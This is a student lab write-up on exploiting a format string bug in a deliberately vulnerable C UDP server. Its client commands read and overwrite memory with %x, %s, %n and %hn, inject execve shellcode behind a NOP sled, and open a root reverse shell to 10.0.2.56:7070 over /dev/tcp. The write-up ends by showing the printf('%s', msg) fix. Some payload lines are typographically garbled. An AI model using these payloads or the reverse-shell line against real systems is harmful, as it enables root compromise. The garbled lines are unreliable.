Format string Attack Lab

Table of Contents

The objective of this lab is for students to gain first-hand experience on format string vulnerabilities by putting what they have learned about the vulnerability from class into actions. Students will be given a program with a format string vulnerability; their task is to exploit the vulnerability to achieve the following damage:

(1) crash the program,
(2) read the internal memory of the program,
(3) modify the internal memory of the program, and most severely,
(4) inject and execute malicious code using the victim program's privilege.

This lab covers the following topics:

- Format string vulnerability
- Code injection
- Shellcode
- Reverse shell

Create two vm before starting lab:
client:10.0.2.56
Server:10.0.2.57

Task 1: Vulnerable Program

We compile the given server program that has the format string vulnerability. While compiling, we make the stack executable so that we can inject and run our own code by exploiting this vulnerability later on in the lab. Running the server and client on the same VM, we first run the server-side program using the root privilege, which then listens to any information on the 9090 port. The server program is a privileged root daemon. Then we connect to this server from the client using the nc command with the -u flag indicating UDP (since server is a UDP server). The IP address of the local machine – 127.0.0.1 and port is the UDP port 9090

SERVER.C program:

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>

#define PORT 9090

/* Changing this size will change the layout of the stack.
* We have added 2 dummy arrays: in main() and myprintf().
* Instructors can change this value each year, so students
* won't be able to use the solutions from the past.
* Suggested value: between 0 and 300 */
#ifndef DUMMY_SIZE
#define DUMMY_SIZE 100
#endif

char *secret = "A secret message\n";
unsigned int target = 0x11223344;

void myprintf(char *msg)
 {
uintptr_t framep;
// Copy the ebp value into framep, and print it out
asm("movl %%ebp, %0" : "=r"(framep));
printf("The ebp value inside myprintf() is: 0x%.8x\n", framep);

/* Change the size of the dummy array to randomize the parameters
for this lab. Need to use the array at least once */
char dummy[DUMMY_SIZE]; memset(dummy, 0, DUMMY_SIZE);

// This line has a format-string vulnerability
printf(msg);
printf("The value of the 'target' variable (after): 0x%.8x\n", target);}


/* This function provides some helpful information. It is meant to
* simplify the lab tasks. In practice, attackers need to figure *
ut the information by themselves. */
```

```
void helper()
 {
printf("The address of the secret: 0x%.8x\n", (unsigned) secret);
printf("The address of the 'target' variable: 0x%.8x\n",
 (unsigned) &target);
printf("The value of the 'target' variable (before): 0x%.8x\n", target); }

void main()
 {
struct sockaddr_in server;
struct sockaddr_in client;
int clientLen;
char buf[1500];

/* Change the size of the dummy array to randomize the parameters
for this lab. Need to use the array at least once */
char dummy[DUMMY_SIZE]; memset(dummy, 0, DUMMY_SIZE);

printf("The address of the input array: 0x%.8x\n", (unsigned) buf);

helper();

int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
memset((char *) &server, 0, sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = htons(PORT);

if (bind(sock, (struct sockaddr *) &server, sizeof(server)) < 0)
perror("ERROR on binding");

while (1) {
bzero(buf, 1500);
recvfrom(sock, buf, 1500-1, 0,
 (struct sockaddr *) &client, &clientLen);
myprintf(buf);
 }
close(sock);
 }
```

Client:

$echo hello .%x.%x.%x.%x.%x.%x.%x.%s |nc -u 10.0.2.57 9090

Server:

$sudo ./server

Provide your observation and screenshot

Client:

$echo hello .%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x | nc -u 10.0.2.57 9090

Server:

$sudo ./server

Provide your observation and screenshot

While compiling we receive a warning, which we ignore for time being. We send a basic string "It is working." to test the program, and we see that whatever we send from the client is printed exactly in the same way on the server, with some additional information.

Task 2: Understanding the Layout of the Stack

Question 1:

The memory addresses at the following locations are the corresponding values: Format String: 0xBFFFF080 (Msg Address – 4 * 8 | Buffer Start – 24 * 4) Return Address: 0xBFFFF09C

Buffer Start: 0xBFFFF0E0

Question 2:

Distance between the locations marked by 1 and 3 – 23 * 4 bytes = 92 bytes

Task 3 : Crash the Program

To crash the program, we provide a string of %s as input to the program Client:
$ echo %s. %s. %s. %s. %s. %s. %s. %s. %s. %s. %s. %s. %s. %s. %s. | nc -u 10.0.2.57 9090

Server:
$sudo ./server

Here, the program crashes because %s treats the obtained value from a location as an address and prints out the data stored at that address. Since, we know that the memory stored was not for the printf function and hence it might not contain addresses in all of the referenced Locations, the program crashes. The value might contain references to protected memory or might not contain memory at all, leading to a crash.

Provide a screenshot of your observations.

Task 4: Print Out the Server Program's Memory

Task 4.A: Stack Data

Client:
$echo
hello.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x | nc -u 10.0.2.57 9090

Server:
$sudo ./server

Provide a screenshot of your observations.

Here, we enter our data -@@@@ and a series of %.8x data. Then we look for our value - @@@@, whose ASCII value is 40404040 as stored in the memory. We see that at the 24th %x, we see our input and hence we were successful in reading our data that is stored on the stack. The rest of the %x is also displaying the content of the stack. We require 24 format specifiers to print out the first 4 bytes of our input.

Task 4.B: Heap Data

Client:
$echo $(printf
“\xc0\x87\x04\x08”).%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%s | nc -u 10.0.2.57 9090
Server:
$sudo ./server

Hence we were successful in reading the heap data by storing the address of the heap data in the stack and then using the %sformatspecifier at the right location so thatit readsthe stored memory address and then get the value from that address

Provide a screenshot of your observations.

Task 5: Change the Server Program’s Memory

Task 5.A: Change the value to a different value

Client:
$echo $(printf
“\x40\xa0\x04\x08”).%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n | nc -u 10.0.2.57 9090
Server:
$sudo ./server

Provide a screenshot of your observations.

Here, we provide the above input to the server and see that the target variable’s value has changed from 0x11223344 to 0x000000bc. This is expected because we have printed out 188 characters (23 * 8 + 4), and on entering %n at the address location stored in the stack by us, we change the value to BC {Hex value for 188}. Hence, we were successful in changing the memory’s value.

Task 5.B: Change the value to 0x500

In this sub-task, we change the target value to 0x500 by inputting the following

Client:
$echo $(printf
“\x40\xa0\x04\x08”).%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.% 8x.%8x.%8x.%.1076x.%n | nc -u 10.0.2.57 9090

Server:
$sudo ./server

Provide a screenshot of your observations.

We see that we have successfully changed the value from 0x11223344 to 0x0000500. To get a value of 500, we do the following 1280 – 188 =1100 in decimal, where 1280 stands for 500 in hex and 188 are the number of characters printed out before the 23rd %x. We get the 1100 characters using the precision modifier, and then use a %n to store the value.

Task 5.C: Change the value to 0xFF990000

We see that the value of the target variable has successfully been changed to 0xff990000

Client:
$echo $(printf "\x40\xa0\x04\x08@@@@\x42\xa0\x04\x08").%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.% 8x.%8x.%8x.%.65324x.%hn.%x.%hn | nc -u 10.0.2.57 9090
Server:
$sudo ./server

We see that the value of the target variable has successfully been changed to 0xff990000

In the input string, we divide the memory space to increase the speed of the process. So, we divide the memory addresses in 2 2-byte addresses with the first address being the one containing a smaller value. This is because, %n is accumulative and hence storing the smaller value first and then adding characters to it and storing a larger value is optimal. We use the approach explained in previous steps to store ff99 in the stack, and in order to get a value of 0000, we overflow the value, that leads the memory to store only the lower 2 bytes of the value. Hence, we add 103 (decimal) to ff99 to get a value of 0000, that is stored in the lower byte of the destination address.

Provide a screenshot of your observations.

Task 6: Inject Malicious Code into the Server Program

We first create a file named myfile on the server side that we will try to delete in this task: The format string constructed has the return address i.e. 0xBFFFF09C stored at the start of the buffer. We divide this address in 2 2-bytes i.e. 0xBFFFF09C and 0xBFFFF09E, so that the process is faster. These 2 addresses are separated by a 4-byte number so that the value stored in the 2nd 2- byte can be incremented to a desired value between the 2 %hn. If this extra 4-byte were not present then on seeing the %x in the input after the first %hn, the address value BFFFF09C would get printed out instead of writing to it, and in case there were 2 back to back %hn, then the same value would get stored in both the addresses. Then we use the precision modifier to get the address of the malicious code to be stored in the return address and use the %hn to store this address. The malicious code is stored in the buffer, above the address 3 marked in the Figure in the manual. The address used here is 0xBFFFF15C, which is storing one of the NOPs.

Preparing format string:

Client:
$echo $(printf
“\x40\xa0\x04\x08@@@@\x42\xa0\x04\x08”).%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.% 8x.%8x.%8x.%.61596x.%hn.%52877x.%hn | nc -u 10.0.2.57 9090
Server:
$sudo ./server

Provide a screenshot of your observations.

Shell code:
The goal of the shell code is to execute the following statement using execve(), which deletes the file /tmp/myfile on the server:

/bin/bash -c "/bin/rm /tmp/myfile”
Please refer. We input the following in the server, that is modifying the return address 0xBFFFF09C with a value on the stack that contains the malicious code. This malicious code has the rm command that is deleting the file created previously on the server.

Server:
$touch /tmp/myfile
$ gcc -z execstack server.c -o server
$ sudo ./ server

Client:

$echo $(printf
“\x8c\xf0\xff\xbf@@@@\x8e\xf0\xff\xbf”).%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.% 8x.%8x.%8x.%.61596x.%hn.%52877x.%hn $(printf “\x90\x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90
\x31\xc0\x50\x68bash\x68////\x68/bin\x89\xe3\x31\xc0\x50\x68 –
ccc\x89\xe0\x31\xd2\x52\x68ile./myf\x68/tmp\x68/rm
\x68/bin\x89\xe2\x31\xc9\x51\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80”) | nc -u 10.0.2.57 9090

Server:
$sudo ./server

Provide a screenshot of your observations.

Here, at the beginning of the malicious code we enter a number of NOP operations i.e. \x90 so that our program can run from the start, and we do not have to guess the exact address of the start of our code. The NOPs gives us a range of addresses and jumping to any one of these would give us a successful result, or else our program may crash because the code execution may be out of order

Task 7: Getting a Reverse Shell

In the previous format string, we modify the malicious code so that we run the following command to achieve a reverse shell:
/bin/bash -c "/bin/bash -i > /dev/tcp/10.0.2.56/7070 0<&1 2>&1

Executing attack: Before providing the input to the server, we run a TCP server that is listening to port 7070 on the attacker's machine and then enter this format string. In the next screenshot, we see that we have successfully achieved the reverse shell because the listening TCP server now is showing what was previously visible on the server. The reverse shell allows the victim machine to get the root shell of the server as indicated by # as well as root@VM.

Client:

$nc -l 7070 -v

Server:

/bin/bash -c "/bin/bash -i > /dev/tcp/10.0.2.56/7070 0<&1 2>&1”

Shell code: u can download from seed lab website

Server:

$sudo ./server

Client:

$ nc -l 7070 -v

Client:

$echo $(printf
“\x8c\xf0\xff\xbf@@@@\x8e\xf0\xff\xbf”).%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%
8x.%8x.%8x.%8x.%8x.%8x.% 8x.%8x.%8x.%.61596x.%hn.%52877x.%hn $(printf “\x90\x90 \x90 \x90 \x90
\x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90 \x90
\x31\xc0\x50\x68bash\x68////\x68/bin\x89\xe3\x31\xc0\x50\x68
–ccc\x89\xe0\x31\xd2\x52\x682>&1\x68<&1\x6870 0\x686/70\x68.2.5\x6810.0\x68tcp/\x68dev/\x68 >
/\x68h -I \x68/bas
\x68/bin\x89\xe2\x31\xc9\x51\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80”) | nc -u 10.0.2.57
9090

Server:

$ nc -l 7070 -v

Provide a screenshot of your observations.

Client :

$ nc -l 7070 -v

Connecting to root vm

Provide a screenshot of your observations.

Task 8: Fixing the Problem

The gcc compiler gives an error due to the presence of only the msg argument which is a format in the printf function without any string literals and additional arguments. This warning is raised due to the printf(msg) line in the following code:

```
void myprintf(char *msg)
{
    printf("The address of the 'msg' argument: 0x%.8x\n", (unsigned) &msg);
    // This line has a format-string vulnerability
    printf(msg);
    printf("The value of the 'target' variable (after): 0x%.8x\n", target);
}
```

This happens due to improper usage and not specifying the format specifiers while grabbing input from the user.

To fix this vulnerability, we just replace it with printf(“%s”, msg), and recompile the program again to check if the problem has actually been fixed.

The following shows the modified program and its recompilation in the same manner, which no more provides any warning:

```
void myprintf(char *msg)
{
    printf("The address of the 'msg' argument: 0x%.8x\n", (unsigned) &msg);
    // This line has a format-string vulnerability
    printf("%s",msg);
    printf("The value of the 'target' variable (after): 0x%.8x\n", target);
}
```

```
Terminal
[10/17/19]seed@VM:~/Lab8$ gcc -z execstack -o server server.c
[10/17/19]seed@VM:~/Lab8$
```

On performing the same attack as performed before of replacing a memory location or reading a memory location, we see that the attack is not successful and the input is considered entirely as a string and not a format specifier anymore.

Client:
$echo hello .%x.%x.%x.%x.%x.%x.%x |nc -u 10.0.2.57 9090
Server:
$sudo ./server

The printf() in the server program simply printed the program input as a string.

Provide your observation and screenshot

Submission:

You need to submit a detailed lab report to describe what you have done and what you have observed, including screenshots and code snippets. You also need to provide explanations to the observations that are interesting or surprising. You are encouraged to pursue further investigation.